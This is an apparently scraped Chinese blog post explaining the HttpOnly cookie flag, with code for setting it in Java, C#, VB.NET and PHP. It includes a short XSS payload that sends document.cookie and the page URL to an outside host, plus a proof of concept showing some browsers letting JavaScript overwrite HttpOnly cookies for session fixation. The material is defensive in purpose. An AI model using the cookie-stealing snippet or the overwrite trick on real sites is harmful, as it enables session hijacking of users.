Cookie是否是httponly

1.什么是HttpOnly?

如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。

2.javaEE的API是否支持?

目前sun公司还没有公布相关的API,但PHP、C#均有实现。搞javaEE的兄弟们比较郁闷了,别急下文有变通实现

3.HttpOnly的设置样例

javaEE


1

2

response.setHeader("Set-Cookie", "cookiename=value;

Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

具体参数的含义再次不做阐述,设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取

?


1

Cookie cookies[]=request.getCookies();

C#

?


1

2

3

HttpCookie myCookie = new HttpCookie("myCookie");  

myCookie.HttpOnly = true;  

Response.AppendCookie(myCookie);

VB.NET

?


1

2

3

Dim myCookie As HttpCookie = new HttpCookie("myCookie")  

myCookie.HttpOnly = True  

Response.AppendCookie(myCookie)

但是在 .NET 1.1 ,中您需要手动添加

?


1

Response.Cookies[cookie].Path += ";HTTPOnly";

PHP4

?


1

header("Set-Cookie: hidden=value; httpOnly");

PHP5

?


1

setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

最后一个参数为HttpOnly属性

在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly

xss攻击语句如下:


  xss exp:
  url=document.top.location.href;
  cookie=document.cookie;
  c=new Image();
  c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;


如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookies浏览器document中不可见就行了。很幸运,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。关于HttpOnly说明可以参照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx

 

给浏览器设置Cookie的头如下:


  Set-Cookie: =[; =]
  [; expires=][; domain=]
  [; path=][; secure][; HttpOnly]


  以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如:


setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);


浏览器中因cookie设置HttpOnly标志引起的安全问题

用JavaScript覆盖cookie中的HttpOnly标志

当JavaScript可以覆盖cookie中的HttpOnly标志时,攻击者如果发现网站的XSS漏洞,就可以利用HttpOnly cookie发动session fixation攻击(更多关于session fixation攻击的内容可以参考笔者之前的文章[1])。

session fixation攻击的后果是攻击者可以冒充受害者,因为其知道受害者的session ID。这里假设当成功登录应用后session不会重新生成。现实也确实是这样的,但浏览器不应该允许JavaScript覆盖HttpOnly标志,因为这种覆盖可能与某些应用程序登录成功后不会重新生成会话这一特性结合,发动session fixation攻击。

那么登录成功后如果重新生成session ID的话安全性是怎么样的呢?还能被攻击者利用吗?登录之后,攻击者通过设置用户的session为攻击者正在使用的session,将用户切换为攻击者自己的帐户。受害者以为其正在使用自己的帐户,实际上一些敏感信息已经泄露给攻击者了。

允许JavaScript覆盖HttpOnly cookie的浏览器

经笔者证实,以下浏览器允许JavaScript覆盖HttpOnly cookies:

Safari

Opera Mobile

Opera Mini

BlackBerry browser

Konqueror browser

该问题已经(于2014年2月14日)提交给相应的厂商。

IE、Firefix和Opera(标准安装版本)不容易受到上述攻击影响。

漏洞利用

以下是部分示例代码:

  1. <?
  2. setcookie(‘cookie1‘,++$_COOKIE[‘cookie1‘],time()+2592000,‘/‘,‘‘,0,1);
  3. setcookie(‘cookie2‘,++$_COOKIE[‘cookie2‘],time()+2592000,‘/‘,‘‘,0,0);
  4. ?>
  5. <HTML>
  6. <?
  7. print "Cookie1:".$_COOKIE[‘cookie1‘]."<br>";
  8. print "Cookie2:".$_COOKIE[‘cookie2‘];
  9. ?>
  10. <script>alert(document.cookie);</script>
  11. <script>document.cookie=‘cookie1=100;expires=Thu, 2 Aug 2014 20:00:00 UTC; path=/‘;</script>
  12. </HTML>

过程如下:运行这段代码,之后可以看到cookie1(设置了HttpOnly标志)已经被JavaScript写入覆盖了。


 
时间: 2024-10-02 23:57:49

Cookie是否是httponly的相关文章

会话cookie中缺少HttpOnly属性 解决

只需要写一个过滤器即可 1 package com.neusoft.streamone.framework.security.filter; 2 3 import java.io.IOException; 4 5 import javax.servlet.Filter; 6 import javax.servlet.FilterChain; 7 import javax.servlet.FilterConfig; 8 import javax.servlet.ServletException;

Cookie中的HttpOnly详解

详见:http://blog.yemou.net/article/query/info/tytfjhfascvhzxcyt377 1.什么是HttpOnly? 如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,具体一点的介绍请google进行搜索 2.javaEE的API是否支持? 目前sun公司还没有公布相关的API,但PHP.C#均有实现.搞javaEE的兄弟们比较郁闷了,别急下文有变通实现 3.HttpOnly的设置

httpOnly实现防止XSS时避免JavaScript读取cookie

如果cookie设置了HttpOnly标志,可以在发生XSS时避免JavaScript读取cookie,这也是HttpOnly被引入的原因. 实现方式: PHP中的设置     1.在php.ini中  session.cookie_httponly = true     2.在程序中全局设定:  <?php  ini_set("session.cookie_httponly", 1);  // or  session_set_cookie_params(0, NULL, NUL

使用HttpOnly提升Cookie安全性

Http是无状态的,http是不会为了下一次连接而维护这次连接所传输的信息的.所以为了在每次会话之间传递信息,就需要用到cookie和session,很多时候都是在cookie中存储一个sessionID,服务器来识别该用户,那么安全隐患也就引申而出了,只要获得这个cookie,就可以取得别人的身份,特别是管理员等高级权限帐号时,危害就大了,而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie. 在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这

HostOnly Cookie和HttpOnly Cookie

怎么使用Cookie? 通常我们有两种方式给浏览器设置或获取Cookie,分别是HTTP Response Headers中的Set-Cookie Header和HTTP Request Headers中的Cookie Header,以及通过JavaScript对document.cookie进行赋值或取值. rfc6265第5.2节定义的Set-Cookie Header,除了必须包含Cookie正文,还可以选择性包含6个属性path.domain.max-age.expires.secure

Cookie设置HttpOnly,Secure,Expire属性

在eclipese中创建Web工程时,有个dynamic web module version选项,首先解释下这个选项的意思: http://stackoverflow.com/questions/3985916/dynamic-web-module-option-in-eclipse That version correlates with Servlet API version. Servlet 3.0 (released at december 2009 as part of Java E

浏览器因cookie设置HttpOnly标志引起的安全问题

1.简介 如果cookie设置了HttpOnly标志,可以在发生XSS时避免JavaScript读取cookie,这也是HttpOnly被引入的 原因.但这种方式能防住攻击者吗?HttpOnly标志可以防止cookie被"读取",那么能不能防止被"写"呢?答案是否定的,那么这里面就有文章可 做了,因为已证明有些浏览器的HttpOnly标记可以被JavaScript写入覆盖,而这种覆盖可能被攻击者利用发动session fixation攻击.本文主题就是讨论这种技术.

利用HTTP-only Cookie缓解XSS之痛

在Web安全领域,跨站脚本攻击时最为常见的一种攻击形式,也是长久以来的一个老大难问题,而本文将向读者介绍的是一种用以缓解这种压力的技术,即HTTP-only cookie. 我们首先对HTTP-only cookie和跨站脚本攻击做了简单的解释,然后详细说明了如何利用HTTP-only cookie来保护敏感数据,最后介绍了实现HTTP-only cookie时确定浏览器版本的具体问题. 一.XSS与HTTP-only Cookie简介 跨站点脚本攻击是困扰Web服务器安全的常见问题之一.跨站点

Cookie中设置了&quot;HttpOnly&quot;属性,有效的防止XSS攻击

1.什么是HttpOnly? 如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie. XSS全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段H